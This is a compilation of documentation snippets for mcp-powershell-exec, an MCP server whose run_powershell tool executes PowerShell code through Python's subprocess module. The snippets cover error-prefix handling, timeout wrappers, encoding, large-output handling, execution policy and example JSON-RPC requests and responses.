-------------------------------- ### Subprocess Creation Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/execution-model.md Spawning a new PowerShell process using the subprocess module. ```python process = subprocess.Popen( ["powershell", "-Command", code], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, ) ``` -------------------------------- ### Optimize Large Output Handling Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Strategies to prevent memory crashes when dealing with large script outputs. ```powershell Get-ChildItem -Recurse | Select-Object -First 1000 ``` ```powershell Get-ChildItem -Recurse | Out-File output.txt Write-Host "Results written to output.txt" ``` ```powershell Get-ChildItem -Recurse | Measure-Object ``` ```bash # While server is running ps aux | grep python ``` -------------------------------- ### List files in working directory Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/execution-model.md Lists files relative to the inherited working directory of the PowerShell process. ```powershell Get-ChildItem # Lists files in /workspace ``` -------------------------------- ### Execute multi-line PowerShell script Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/execution-model.md Demonstrates passing a multi-line script string to the PowerShell -Command parameter using Python's subprocess module. ```python code = """ $items = Get-ChildItem $items | Select-Object Name """ process = subprocess.Popen(["powershell", "-Command", code], ...) ``` -------------------------------- ### Define run_powershell tool output Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/INDEX.md The tool returns a string containing either the execution result or an error message. ```python str # Execution result or error ``` -------------------------------- ### Perform Basic Error Check Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/errors.md Checks the result string for the 'Error: ' prefix to determine if the PowerShell execution failed. ```python result = call_tool("run_powershell", {"code": script}) if result.startswith("Error: "): # Handle error error_message = result[7:] # Remove "Error: " prefix print(f"Execution failed: {error_message}") else: # Process successful output print(f"Output: {result}") ``` -------------------------------- ### Upgrade FastMCP Package Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Update the mcp library to the latest version. ```bash pip install --upgrade mcp ``` -------------------------------- ### Monitor Python process resources Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Commands to check memory usage and process status for Python on Windows and Unix/Linux systems. ```bash # Windows Get-Process python | Select-Object Name, Memory # Unix/Linux ps aux | grep python top ``` -------------------------------- ### Manage Character Encoding Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Check current encoding or force UTF8 for output. ```powershell [System.Text.Encoding]::Default ``` ```powershell "Text" | Out-File -Encoding UTF8 ``` -------------------------------- ### Client-side Error Handling Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Wraps tool calls to parse and handle error prefixes returned by the PowerShell execution engine. ```python def safe_run_powershell(client, code: str) -> tuple[bool, str]: """Execute PowerShell code and return (success, output/error)""" result = client.call_tool("run_powershell", {"code": code}) if result.startswith("Error: "): return (False, result[7:]) # Remove "Error: " prefix return (True, result) # Usage: success, output = safe_run_powershell(client, "Get-Date") if success: print(f"Date: {output}") else: print(f"Failed: {output}") ``` -------------------------------- ### Use Full Path for PowerShell in Python Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Use an absolute path to the PowerShell executable when it is not in the system PATH. ```python import subprocess # Instead of: process = subprocess.Popen(["powershell", "-Command", code], ...) # Use: process = subprocess.Popen([ "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "-Command", code ], ...) ``` -------------------------------- ### Tool Call Request Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/execution-model.md The JSON structure used by the client to initiate a tool call via MCP. ```json { "method": "tools/call", "params": { "name": "run_powershell", "arguments": { "code": "Get-Date" } } } ``` -------------------------------- ### Batch Multiple Operations Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Executes a dictionary of scripts sequentially and aggregates the results. ```python def batch_execute(client, scripts: dict) -> dict: """Execute multiple scripts and return results""" results = {} for name, code in scripts.items(): result = client.call_tool("run_powershell", {"code": code}) results[name] = result return results # Usage: scripts = { "date": "Get-Date", "user": "$env:USERNAME", "version": "$PSVersionTable.PSVersion" } results = batch_execute(client, scripts) print(f"User: {results['user']}") print(f"Version: {results['version']}") ``` -------------------------------- ### Response Serialization Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/execution-model.md Returning the output to FastMCP for serialization into an MCP response. ```python return output # or error message ``` ```json { "type": "text", "text": "output" } ``` -------------------------------- ### Check for Error Prefix in Tool Output Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/errors.md Inspect the tool result for the 'Error: ' prefix to distinguish between successful execution and reported errors. ```python result = call_tool("run_powershell", {"code": code}) if result.startswith("Error: "): handle_error(result[7:]) else: handle_success(result) ``` -------------------------------- ### Implement Execution Timeout Wrapper Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/errors.md Wrap the tool call in a thread to enforce a timeout, returning an error string if the execution exceeds the specified duration. ```python import threading def run_powershell_with_timeout(code: str, timeout_seconds: int) -> str: result = [None] exception = [None] def execute(): try: result[0] = call_tool("run_powershell", {"code": code}) except Exception as e: exception[0] = e thread = threading.Thread(target=execute) thread.daemon = True thread.start() thread.join(timeout=timeout_seconds) if thread.is_alive(): return "Error: Execution timeout" if exception[0]: raise exception[0] return result[0] ``` -------------------------------- ### Represent PowerShell output cases Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/types.md Textual representations of successful and failed PowerShell execution results. ```text Friday, July 11, 2026 3:45:21 PM ``` ```text Error: Cannot find path 'C:\Invalid' because it does not exist. ``` ```text Name Memory ---- ------ svchost.exe 102400000 powershell.exe 204800000 ``` -------------------------------- ### Process Communication without Timeout Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/execution-model.md Demonstrates the blocking nature of the process communication call which lacks a timeout mechanism. ```python output, error = process.communicate() # No timeout ``` -------------------------------- ### Identify Non-Captured Output Streams Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Verbose and debug messages are not captured by the tool. ```powershell Write-Verbose "Verbose message" # Not captured Write-Debug "Debug message" # Not captured ``` -------------------------------- ### Run PowerShell with Execution Policy Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/security.md Use this command to enforce a stricter execution policy when invoking PowerShell. ```bash powershell -ExecutionPolicy AllSigned -Command ``` -------------------------------- ### Tool Call Success Response Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Successful execution response returning the output of the PowerShell command. ```json { "jsonrpc": "2.0", "id": 3, "result": { "type": "text", "text": "Friday, July 11, 2026 3:45:21 PM" } } ``` -------------------------------- ### Define Python tool signature Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/types.md The Python type hint definition for the tool function. ```python def run_powershell(code: str) -> str: ``` -------------------------------- ### Define the PowerShell execution tool Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/SUMMARY.md The primary interface for executing PowerShell commands, returning either standard output or an error string. ```python run_powershell(code: str) -> str ```